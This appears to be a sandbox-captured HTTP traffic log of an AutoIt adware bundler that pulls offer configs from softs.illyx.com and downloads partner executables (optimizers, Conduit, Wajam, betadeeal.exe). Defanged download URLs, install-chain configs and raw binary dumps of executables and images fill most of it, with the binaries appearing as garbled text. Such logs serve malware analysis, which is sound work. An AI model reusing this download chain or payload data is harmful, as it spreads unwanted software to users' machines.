Date: Sun, 05 Jul 2015 02:54:08 GMT

Server: Apache

Last-Modified: Tue, 18 Feb 2014 14:46:31 GMT

ETag: "806e1-88-4f2af56822cb6"

Accept-Ranges: bytes

Content-Length: 136

Content-Type: text/plain
[KREAPIXEL_MYPCBACKUP_PCMAXIMIZER]..EXE=hXXp://softs.illyx.com/setup/r
essources/partenaires_financiers/KREAPIXEL/installer.exe..TYPE=EXEnt>....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/OPTIMIZERPRO.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:08 GMT

Server: Apache

Last-Modified: Fri, 17 Jan 2014 14:08:43 GMT

ETag: "80502-b8-4f02b146cd53e"

Accept-Ranges: bytes

Content-Length: 184

Content-Type: text/plain
[OPTIMIZERPRO]..EXE=hXXp://dl.softservers.net/111001200/OptimizerPro.e
xe..EMMBED=hXXp://softs.illyx.com/setup/ressources/partenaires_financi
ers/OPTIMIZERPRO/optimizerpro.html..TYPE=EXE....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/PCMAXIMIZER.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:08 GMT

Server: Apache

Last-Modified: Tue, 18 Feb 2014 15:09:27 GMT

ETag: "806da-ef-4f2afa8815c26"

Accept-Ranges: bytes

Content-Length: 239

Content-Type: text/plain
[PCMAXIMIZER]..EXE=hXXp://softs.illyx.com/setup/ressources/partenaires
_financiers/PCMAXIMIZER/PCSpeedMaximizer_AQFR_KreaP_PPI.exe..EMMBED=ht
tp://softs.illyx.com/setup/ressources/partenaires_financiers/PCMAXIMIZ
ER/pcmaximizer.html..TYPE=EXE....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/SPEEDUPMYPC.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:08 GMT

Server: Apache

Last-Modified: Thu, 27 Feb 2014 15:50:11 GMT

ETag: "806ec-db-4f36546c3069e"

Accept-Ranges: bytes

Content-Length: 219

Content-Type: text/plain
[SPEEDUPMYPC]..EMMBED=hXXp://softs.illyx.com/setup/ressources/partenai
res_financiers/SPEEDUPMYPC/speedupmypc.html..EXE=hXXp://softs.illyx.co
m/setup/ressources/partenaires_financiers/SPEEDUPMYPC/speedupmypc.exe.
.TYPE=EXE....


GET /setup/TESTNEWVERSION/PARTENAIRES_FINANCIERS/KREAPIXEL_MAIN_OFFER.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:08 GMT

Server: Apache

Last-Modified: Fri, 28 Feb 2014 11:29:11 GMT

ETag: "8070f-175-4f375bf3a0eed"

Accept-Ranges: bytes

Content-Length: 373

Content-Type: text/plain
[KREAPIXEL_MAIN_OFFER]..EMMBED=hXXp://softs.illyx.com/setup/ressources
/partenaires_financiers/KREAPIXEL/KREAPIXEL_MAIN_OFFER.html..EXE=http:
//softs.illyx.com/setup/ressources/partenaires_financiers/KREAPIXEL/in
staller.exe..TYPE=EXE..[RESSOURCES]..KREAPIXEL_MAIN_OFFER_EMMBED=http:
//softs.illyx.com/setup/ressources/partenaires_financiers/KREAPIXEL/KR
EAPIXEL_MAIN_OFFER.html....


GET /setup/TESTNEWVERSION/COMMUN/US.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:08 GMT

Server: Apache

Last-Modified: Wed, 16 Jul 2014 14:57:51 GMT

ETag: "8045e-306-4fe50bf9413c6"

Accept-Ranges: bytes

Content-Length: 774

Content-Type: text/plain
[RESSOURCES]..; DECLINE=hXXp://softs.illyx.com/setup/ressources/commun
/us/decline.png..; INSTALL=hXXp://softs.illyx.com/setup/ressources/com
mun/us/installer.png..; SUIVANT=hXXp://softs.illyx.com/setup/ressource
s/commun/us/suivant.png..; OKPOPUP=hXXp://softs.illyx.com/setup/ressou
rces/commun/us/okPopup.png..; CANCELPOPUP=hXXp://softs.illyx.com/setup
/ressources/commun/us/cancelPopup.png..; TERMINER=hXXp://softs.illyx.c
om/setup/ressources/commun/us/terminer.png..[PLUGIN]..LIEN=hXXp://soft
s.illyx.com/setup/dl?l=ressources/plugins&telecharger=betadeeal..[TEXT
E]..INITIALISATION=Initialization : Steps..INSTALLATION=Installing dep
endencies...TERMINER=Installation complete...BOUTTON_SUIVANT=NEXT..BOU
TTON_DECLINE=DECLINE..BOUTTON_TERMINER=FINISH..BOUTTON_INSTALLER=INSTA
LL....


GET /setup/TESTNEWVERSION/SOFT/WEBGAMEPLAY.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:08 GMT

Server: Apache

Last-Modified: Sun, 27 Oct 2013 16:58:22 GMT

ETag: "80459-187-4e9bbe4226b75"

Accept-Ranges: bytes

Content-Length: 391

Content-Type: text/plain
[EULA]..LIEN=hXXp://softs.illyx.com/setup/ressources/webgameplay/eula.
html..[SOFT]..EXE=hXXp://softs.illyx.com/setup/ressources/webgameplay/
Air/WebGamePlay.air..TYPE=AIR..[RESSOURCES]..LOGO=hXXp://softs.illyx.c
om/setup/ressources/webgameplay/logo.png..[INFOS]..NOM=Webgameplay..[U
NINSTALLER]..LIEN=hXXp://softs.illyx.com/setup/dl.php?l=regie/webgamep
lay/fr/uninstaller/&telecharger=uninstall....


GET /setup/TESTNEWVERSION/COMMUN/US.ini HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:08 GMT

Server: Apache

Last-Modified: Wed, 16 Jul 2014 14:57:51 GMT

ETag: "8045e-306-4fe50bf9413c6"

Accept-Ranges: bytes

Content-Length: 774

Content-Type: text/plain

Connection: close
[RESSOURCES]..; DECLINE=hXXp://softs.illyx.com/setup/ressources/commun
/us/decline.png..; INSTALL=hXXp://softs.illyx.com/setup/ressources/com
mun/us/installer.png..; SUIVANT=hXXp://softs.illyx.com/setup/ressource
s/commun/us/suivant.png..; OKPOPUP=hXXp://softs.illyx.com/setup/ressou
rces/commun/us/okPopup.png..; CANCELPOPUP=hXXp://softs.illyx.com/setup
/ressources/commun/us/cancelPopup.png..; TERMINER=hXXp://softs.illyx.c
om/setup/ressources/commun/us/terminer.png..[PLUGIN]..LIEN=hXXp://soft
s.illyx.com/setup/dl?l=ressources/plugins&telecharger=betadeeal..[TEXT
E]..INITIALISATION=Initialization : Steps..INSTALLATION=Installing dep
endencies...TERMINER=Installation complete...BOUTTON_SUIVANT=NEXT..BOU
TTON_DECLINE=DECLINE..BOUTTON_TERMINER=FINISH..BOUTTON_INSTALLER=INSTA
LL..

GET /setup/ressources/commun/close.png HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

HTTP/1.1 200 OK

Content-Type: image/png

Accept-Ranges: bytes

ETag: "4086941900"

Last-Modified: Thu, 01 Aug 2013 13:58:44 GMT

Content-Length: 188

Date: Sun, 05 Jul 2015 02:54:09 GMT

Server: lighttpd
.PNG........IHDR.....................gAMA......a.....pHYs...n...n....^
....tEXtSoftware.Paint.NET v3.5.100.r....8IDAT(Sc(//[email protected].."d1..d
...0.Y.x...0.V.......I.**...Sn.Y...6....IEND.B`.HTTP/1.1 200 OK..Conte
nt-Type: image/png..Accept-Ranges: bytes..ETag: "4086941900"..Last-Mod
ified: Thu, 01 Aug 2013 13:58:44 GMT..Content-Length: 188..Date: Sun, 
05 Jul 2015 02:54:09 GMT..Server: lighttpd...PNG........IHDR..........
...........gAMA......a.....pHYs...n...n....^....tEXtSoftware.Paint.NET
 v3.5.100.r....8IDAT(Sc(//[email protected].."d1..d...0.Y.x...0.V.......I.**.
..Sn.Y...6....IEND.B`.....


GET /setup/eula/terms_easysoft_fr.html HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Type: text/html

Accept-Ranges: bytes

ETag: "2771314174"

Last-Modified: Fri, 28 Feb 2014 14:46:10 GMT

Content-Length: 10177

Date: Sun, 05 Jul 2015 02:54:09 GMT

Server: lighttpd
<!doctype html>..<html lang="fr">..<head>...<meta
 charset="utf-8" />...    <title>Conditions Géné
;rales  Webplayer TV - Télévision en direct</title>
;..    <meta name="description" content="Regarder la TV en direct a
vec Webplayer TV. Regarder la TV sur le web, sur votre iPhone, iPad, .
." />..    <meta name="author" content="Webplayer TV " />..  
  <meta name="keywords" content="TV, direct, television, tv online,
 regarder tv" />...<meta name="viewport" content="width=device-w
idth, initial-scale=1.0" />..    <meta name="robots" content="no
index, nofollow">...<link rel="stylesheet" href="css/reset.css" 
type="text/css" media="all">...<style>....body{.....font-fami
ly: arial, verdana, sans-serif;.....font-size: 10px;....}....h2{font-s
ize:16px;}...</style>..</head>..<body class="sub right-
sidebar-page fixed-width">..                            <h2>C
ontrat de licence d...utilisateur final de EasySoft Downloader...</
h2>..                            <h2>Ce t..l..chargement est 
gratuit.</h2>..                            <p>Veuillez lir
e et accepter ce contrat de licence avant  d’installer et d&rsqu
o;utiliser le software. Si vous ..tes une personne physique, vous  dev
ez ..tre majeure ou avoir une autorisation parentale. Si vous l’
achetez pour  le compte d'une entreprise, vous devez disposer des pouv
oirs notariaux complets  afin de l..galiser ce contrat au nom de l
<<< skipped >>>

GET /setup/eula/terms_easysoft_en.html HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Type: text/html

Accept-Ranges: bytes

ETag: "3137554679"

Last-Modified: Fri, 28 Feb 2014 14:46:10 GMT

Content-Length: 7652

Date: Sun, 05 Jul 2015 02:54:09 GMT

Server: lighttpd
<!doctype html>..<html lang="fr">..<head>...<meta
 charset="utf-8" />...    <title>Conditions Géné
;rales  Webplayer TV - Télévision en direct</title>
;..    <meta name="description" content="Regarder la TV en direct a
vec Webplayer TV. Regarder la TV sur le web, sur votre iPhone, iPad, .
." />..    <meta name="author" content="Webplayer TV " />..  
  <meta name="keywords" content="TV, direct, television, tv online,
 regarder tv" />...<meta name="viewport" content="width=device-w
idth, initial-scale=1.0" />..    <meta name="robots" content="no
index, nofollow">...<link rel="stylesheet" href="css/reset.css" 
type="text/css" media="all">...<style>....body{.....font-fami
ly: arial, verdana, sans-serif;.....font-size: 10px;....}....h2{font-s
ize:16px;}...</style>..</head>..<body class="sub right-
sidebar-page fixed-width">..<h2>License Agreement End User Ea
sySoft Downloader ...</h2>..<h2>This download is free .<
;/h2>..<p>Please read and accept the license agreement before
 installing and using the software . If you are an individual , you mu
st be of legal age or have parental permission. If you are buying on b
ehalf of a company , you must have comprehensive notarial powers to le
galize this contract on behalf of the company. By clicking on the &quo
t;Accept" (or equivalent) placed lower button, you accept this ag
reement.</p>..<p>Kreapixel network SARL. , A French co
<<< skipped >>>

GET /setup/ressources/partenaires_financiers/CONDUIT/SPI.exe HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:10 GMT

Server: Apache

Last-Modified: Tue, 05 Nov 2013 20:28:12 GMT

ETag: "360005-ff90-4ea73df25a636"

Accept-Ranges: bytes

Content-Length: 65424

Content-Type: application/x-msdos-program
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........#yd.B.7.B.7
.B.7..z7.B.7..l7.B.7.B.7.B.7.:.7.B.7...7.B.7.:.7.B.7Rich.B.7..........
..............PE..L....q.N.................d.......B..K5............@.
................................%q....................................
..............8...........p... .......................................
.....................................................text....c.......d
.................. ..`.rdata...............h..............@[email protected]...
[email protected]................................
...rsrc...8...........................@..@............................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
...G..H.P.u..u..u...|[email protected][email protected].....@
..}[email protected]... M..........M........E...FQ.....NU..M
.......M...VT..U........FP..E...............E.P.M...H.@..E..P.E..E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected][email protected][email protected] [email protected]..
...@._^3.[.....L$....G...i. @...T.....tUVW.q.3.;5..G.sD..i. @...D..S..
...t.G.....t...O..t .....u...3....3...F. @..;5..G.r.[_^...U..QQ.U.
<<< skipped >>>

GET /setup/ressources/partenaires_financiers/KREAPIXEL/KREAPIXEL_MAIN_OFFER.html HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Type: text/html

Accept-Ranges: bytes

ETag: "657209430"

Last-Modified: Fri, 28 Feb 2014 14:14:57 GMT

Content-Length: 3579

Date: Sun, 05 Jul 2015 02:54:10 GMT

Server: lighttpd
<html>..<head>...<title>Ma page</title>...<
meta charset="utf-8" />...<script language="javascript">....f
unction show( id ) { document.getElementById( id ).style.display = 'bl
ock'; }....function hide( id ) { document.getElementById( id ).style.d
isplay = 'none'; }...</script>...<style type="text/css">..
..body....{.....width: 540px;.....height: 285px;.....overflow:hidden;.
....background-color: #FFFFFF;.....border:1px;.....border-style: solid
;.....border-color: #AFAFAF;.....font-family: Tahoma, sans-serif;....}
....#bloc....{.....padding-top: 0px;.....padding-left: 30px;.....paddi
ng-right: 30px;.....font-size: 14px;.....color: #000000;....}....#bloc
 #customDiv....{.....display: none;.....margin-left: 15px;.....margin-
top: 5px;....}....#bloc #quickDiv, #customDiv....{.....font-size: 11px
;....}....#bloc #customDiv input....{.....margin-right: 5px;....}....#
bloc #quickDiv a, #customDiv a....{.....color: #0194FE;....}...</st
yle>..</head>..<body>...<div id="bloc" >....<f
orm name="formulaireExpressCustom" >......<input id="quickRadio"
 type="radio" name="group1" value="QUICK" onclick="show('quickDiv'); h
ide('customDiv');" checked > Express (recommended)<br />.....
.<div id="quickDiv" ><br />........By clicking 'Install' y
ou agree to our <a href="hXXp://softs.illyx.com/setup/eula/terms_pa
rt.php" target="_blank">Privacy policies</a> and our <a hr
ef="hXXp://softs.illyx.com/setup/eula/terms_part.php" target="_bla
<<< skipped >>>

GET /setup/ressources/webgameplay/logo.png HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

HTTP/1.1 200 OK

Content-Type: image/png

Accept-Ranges: bytes

ETag: "4070173595"

Last-Modified: Wed, 07 Aug 2013 17:23:26 GMT

Content-Length: 19995

Date: Sun, 05 Jul 2015 02:54:10 GMT

Server: lighttpd
.PNG........IHDR.......H.......H9....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:A9EB4AFBFF8511E28FFAF40D
75D56D36" xmpMM:DocumentID="xmp.did:A9EB4AFCFF8511E28FFAF40D75D56D36"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A9EB4AF9FF8511E28F
FAF40D75D56D36" stRef:documentID="xmp.did:A9EB4AFAFF8511E28FFAF40D75D5
6D36"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..~?..J.IDATx......iu.z*v.....(....6.eY2..c
cLr.579.....b...kp.|m.fm..&,..,....V.*kF.C.L.T..9..H...a....-f4.U.....
._"|........?...&.?.r!^c`C...|..1....Fd..Q2...R..u&7.x..._3.?>....Q
O6..v..........F.....w....5...Rx79....Ce...$.....u...<W5..Rl.....*=
.".?..!6..\...{.....\.....`...v..9..]S..9....Z..%.......l.u....(k..W*.
P-.....=.......5.F!..........B.a......P....q.^.RK&v.o\M..y.Z.}..J~^*..
6~.....7...#.?.. .....X.F!..T.F...3.u...........?.:..9a..2...(.r.w%.[.
..*....d.M...F...~....b.y...W..P.2rWXP....*Lo...1.....\.........s..d6.
....u4x..|..j..W.y..i\..Di........k.....V...5`..%ig.0.Z..Yb....\..
<<< skipped >>>

GET /spidentifier/SPIdentifierImpl.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: sp-storage.conduit-services.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 301 Moved Permanently

Location: hXXp://sp-storage.spccinta.com//spidentifier/spidentifierimpl.exe

Server: BigIP

Content-Length: 0

Cache-Control: private, max-age=900

Expires: Sun, 05 Jul 2015 03:09:11 GMT

Date: Sun, 05 Jul 2015 02:54:11 GMT

Connection: keep-alive
HTTP/1.1 301 Moved Permanently..Location: hXXp://sp-storage.spccinta.c
om//spidentifier/spidentifierimpl.exe..Server: BigIP..Content-Length: 
0..Cache-Control: private, max-age=900..Expires: Sun, 05 Jul 2015 03:0
9:11 GMT..Date: Sun, 05 Jul 2015 02:54:11 GMT..Connection: keep-alive.
.

GET /setup/ressources/webgameplay/logo.png HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Type: image/png

Accept-Ranges: bytes

ETag: "4070173595"

Last-Modified: Wed, 07 Aug 2013 17:23:26 GMT

Content-Length: 19995

Date: Sun, 05 Jul 2015 02:54:10 GMT

Server: lighttpd
.PNG........IHDR.......H.......H9....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:A9EB4AFBFF8511E28FFAF40D
75D56D36" xmpMM:DocumentID="xmp.did:A9EB4AFCFF8511E28FFAF40D75D56D36"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A9EB4AF9FF8511E28F
FAF40D75D56D36" stRef:documentID="xmp.did:A9EB4AFAFF8511E28FFAF40D75D5
6D36"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..~?..J.IDATx......iu.z*v.....(....6.eY2..c
cLr.579.....b...kp.|m.fm..&,..,....V.*kF.C.L.T..9..H...a....-f4.U.....
._"|........?...&.?.r!^c`C...|..1....Fd..Q2...R..u&7.x..._3.?>....Q
O6..v..........F.....w....5...Rx79....Ce...$.....u...<W5..Rl.....*=
.".?..!6..\...{.....\.....`...v..9..]S..9....Z..%.......l.u....(k..W*.
P-.....=.......5.F!..........B.a......P....q.^.RK&v.o\M..y.Z.}..J~^*..
6~.....7...#.?.. .....X.F!..T.F...3.u...........?.:..9a..2...(.r.w%.[.
..*....d.M...F...~....b.y...W..P.2rWXP....*Lo...1.....\.........s..d6.
....u4x..|..j..W.y..i\..Di........k.....V...5`..%ig.0.Z..Yb....\..
<<< skipped >>>

GET /setup/ressources/webgameplay/eula.html HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: softs.illyx.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Last-Modified: Thu, 01 Aug 2013 14:02:08 GMT

ETag: "1343183302"

Content-Type: text/html

Accept-Ranges: bytes

Content-Length: 3501

Date: Sun, 05 Jul 2015 02:54:14 GMT

Server: lighttpd
....`j.Q...Z.o.7....W.....d...4q.......... ...j....WI.d....{o...-...FZ
....7o......GG........j].......~...9..f..f..q~.QW....]6..:...:........
....?|......W..].........BY.....s~.8_.._..&h...92..v...u].S...mc.U...:
.......*[i.Mx.../G/^<{ytrxq...0*..to.........Q.=... .-ti....tV...OS
.M......?....{%.z..svr..}........q.O.n.|q.pcWW...O...g3..K..z.'...Y.#.
FS^..>......../f.OfO.ON.g...1=x2U....,<X.fe.Q7..^!....m.u.Un....
...z..3..k..[....V.2..n..j.t........v...f...c....R..VW.........[....k[
..t!.6..O.....>..... ..,....c..pY...?..x.Y.5...p.^....jc.J.:m,....v
!...}...........Tu.sj8..s...=...<...X....`...W.1s...NW..m.....c&...
..eE......Y#...~.= .^.....u....ru.,..m...a.]|.......[y.)...v.mi\.t..Su
.......h-P.U.^^qv.....Z-q[..:..U......dAgVgA.!...._..Ro%.Y.l'1../.f...
...%dk'....s.....55....Bo.m...WvN....... .O%..B...=q..<2..W..rRs..m
Do2D<..\..l..E...e.#.`.....](....*o...?Wzm.Z...yo...&.2..B[.0".u...
j.W.....b..K.0..[D.|.>.]...'.....I.t].).d..0y.Y.W.yI./..r" n]...6..
..F?.Eqq..S.y.f...fE7u.K...,..)h.&x.g.3...!IKp..f |.voV..L%...u....q..
Z.C.t..h....W.....2.it..... .|z... |.Y..w{c......A.!.'...:_..,K;..V.h.
....$....Tj....\...9.....v......|?.......1.H...I....LD3R..4.,.^.4B3.I.
-.4.uO:..........g..b...D..8..".&2.O..!Ya?...Ps...b.........d...;=.Dl$
.u.....XJM....X....F;...s.I.......W>.3.....W..[.L......^.ER....8<
;rY;.;.~J...b........e=..N....%6I...i...I&.w[..nb..ab......,.k..'.T.r.
.b.eb...B.W....d.Oj#....?s#.....R...zk.)0.H....v.Y.Sy.P.."41.0Y..&...|
c2.8...N...U.....U...U..5.P.0.^.h....A...`...B.l.>.r~.>U.B.P
<<< skipped >>>

GET /setup/dl?l=ressources/plugins&telecharger=betadeeal HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:15 GMT

Server: Apache

Content-Location: dl.php

Vary: negotiate

TCN: choice

Content-Description: File Transfer

Content-Disposition: attachment; filename=betadeeal.exe

Content-Transfer-Encoding: binary

Expires: 0

Cache-Control: must-revalidate

Pragma: public

Content-Length: 1802752

Content-Type: application/octet-stream
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......S...........
.....g..........$...............%.....H.......X.2...........q)..Z...q)
......q)........\.....q)......Rich............................PE..L...
\..S.........."......P...@...`.. .#..p....#...@.......................
....:...........@...@[email protected].$.....#..2......
..............9.......................................#.H.............
..............................UPX0.....`..............................
[email protected]....@....#..8...J........
......@...............................................................
......................................................................
......................................................................
......................................................................
......................................................................
.......3.91.UPX!.......e7.....#..B....".&.......U......}..SVW....`....
..E.t..u....}........H...t. ......v.L..4.....G..I.........&.k..][email protected]
......V......~.....t..........}.;._..>r..E._^[.........=.......M...
..Po..>..i....j0X.E....F!..A...x.V]*.a.....op6......a;j.{..on.....Y
..t1&.H..Nt...|.x..0.V.8.G&F..w..|.|..8.f.3....QS......V.>W.M.....C
..!....S.:.5.....t..]...3......W.~9.:.x...}u(.~.._...t..7uPW_...kzY.^.
.FZ[................T.....~...v.k...F.....4......4,.n_..F....8B..6)xh.
...9YV..,..../....Zu.z..lx....jY8.jX...ox......U......a......p....
<<< skipped >>>

GET /download/wajam_validate.exe HTTP/1.1

User-Agent: AutoIt

Host: VVV.wajam.com

HTTP/1.0 404 Not Found

Date: Sun, 05 Jul 2015 02:54:10 GMT

Server: Apache/2.4.10 (Ubuntu)

Set-Cookie: PHPSESSID=n9t0jt7q1ul36ugtp4qvgehg45; path=/; domain=.wajam.com

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: _wau=14360648504317369; expires=Mon, 04-Jul-2016 02:54:10 GMT; Max-Age=31536000; path=/; domain=.wajam.com

Set-Cookie: _wal=1436064850; expires=Mon, 04-Jul-2016 02:54:10 GMT; Max-Age=31536000; path=/; domain=.wajam.com

Set-Cookie: _waab=61,53,14,41,7,96,30,100,27,48; expires=Mon, 04-Jul-2016 02:54:10 GMT; Max-Age=31536000; path=/; domain=.wajam.com

Content-Type: text/html; charset=utf-8

Set-Cookie: APPSESSID=w50|VZicV|VZicV; path=/; domain=.wajam.com
<!DOCTYPE html>..<html xmlns="hXXp://VVV.w3.org/1999/xhtml" x
mlns:fb="hXXp://ogp.me/ns/fb#" xml:lang="en" prefix="og: hXXp://ogp.me
/ns#">...<head>....<meta http-equiv="Content-Type" content
="text/html; charset=utf-8"/> ........<base href="hXXp://VVV.waj
am.com" />....<title>Wajam.com | Home -  Get Social Recommend
ations From Your Friends</title> ....<meta name="title" conte
nt="Wajam.com | Home -  Get Social Recommendations From Your Friends" 
/>...........<meta name="description" content="Add relevant soci
al results and recommendations from your friends and contacts, to your
 regular search results. What your friends share matters | Wajam.com" 
/>.....<meta name="keywords" content="Wajam,  Social Search, Soc
ial results, Social Search Results, Recommendations from your friends,
 friend recommendations, Facebook friends recommendations, Find a Frie
nd's Facebook Post, Find a Tweet" />..........<!-- Google Chrome
 Web Store Verification -->....<meta name="google-site-verificat
ion" content="5KnCIaGgQoFFL2URoeiXrg0xTbPK3qJZLbDJpbIoC9U" />......
..<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" 
/>.........<script type="text/javascript">.....var facebook_p
erms = 'email,user_likes,friends_likes,user_location,friends_location,
user_checkins,friends_checkins,user_photos,friends_photos,read_stream,
user_actions.music,friends_actions.music';.....var get_friend_url = '/
user/friends.json';....</script>..........<script type="t
<<< skipped >>>

GET /setup/ressources/webgameplay/Air/WebGamePlay.air HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:15 GMT

Server: Apache

Last-Modified: Mon, 05 Aug 2013 12:27:39 GMT

ETag: "60104-7ccc9-4e3326f26eba5"

Accept-Ranges: bytes

Content-Length: 511177

Content-Type: text/plain
PK........}..B5..[;...;.......mimetypeapplication/vnd.adobe.air-applic
ation-installer-package zipPK........}..B.Z>.9...q.......META-INF/A
IR/application.xmleR.n.0..[..`x..d(.BQ..E..K......^....Wv..A.C.....,.g
k.#.D...y3. t....U}........YB..Z.....K..g..B....;lZo.P...Xd.<..$.d.
.E...g>..\..CGM..%R.......h*rm#.?3...&&...n.......I....QI..#.#^.C..
..W.#&0[r..Fh..1:......l....).....f3)J]..i..r .e..%1..>..-18.QKq..)
Gp)@.. ..PQ.)....x..[7f...$.%.P[.p.X...,8d..7.uyvJ..........PK........
}..B..". ... .......META-INF/AIR/hash.5...Z.c...2x....;.e...n].~.....P
K.........YT9.........*......AIRAliases.js..]s.6...5....U.i..fv.SM/..i
4.lW.....LB.j.....5...........E/..}.!.....|C...4.T3}..&..%.s..........
.x4.]......w.d..j}.X.......n9]_... ...............?d..GFV.mX..\DReRQ..
.2M...z..4S{[email protected]#..S.
1...n<2;..K..)...d5..$<bB3B.....sA.o......{F.....Q...)..........
~....p ......."{. ..j<:'}..h.......G{...j2...y..E,./T..O.k.}.Q.....
..k &?./_'...K..Ed`..{....(....<.xr....[...|X.4......../D..D<h.D
.....a.N..v.: V..eX.&.ke..i...k...Cc[......|....L..9\..]Lg..(..>..Z
)..(..q.)....\....A5..6...@*......>&.G...0-...2..:.....<....dl..
....l..p...e{..($.O.......A...g~.<.X...K.}m.2.."..Q.r...^I..:[email protected]
H]...rekD..7...<H.#..]P.'!.N.,a.u...9U....' .h%...[<...;w......#
fNjG.......\ps....9dd.....j...Y9c_..Z=..YP......Y0..6.:...E.V..].K.\z.
.[.-.)*..w...)P.K..*..mS..T.....~..9.N....x;#...3..#d#......Yq.>j..
...".....2..z.Y.h..u..(g....u.I..{..6o._..m ..XS...R...J...W..f;..
<<< skipped >>>

GET /Bubble/Install_BubbleDock.exe HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:16 GMT

Server: Apache

Last-Modified: Tue, 11 Jun 2013 14:10:11 GMT

ETag: "40463-5b078-4dee17495733a"

Accept-Ranges: bytes

Content-Length: 372856

Content-Type: application/x-msdos-program
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................0......e........................................s.
..........z...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....z.......|...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
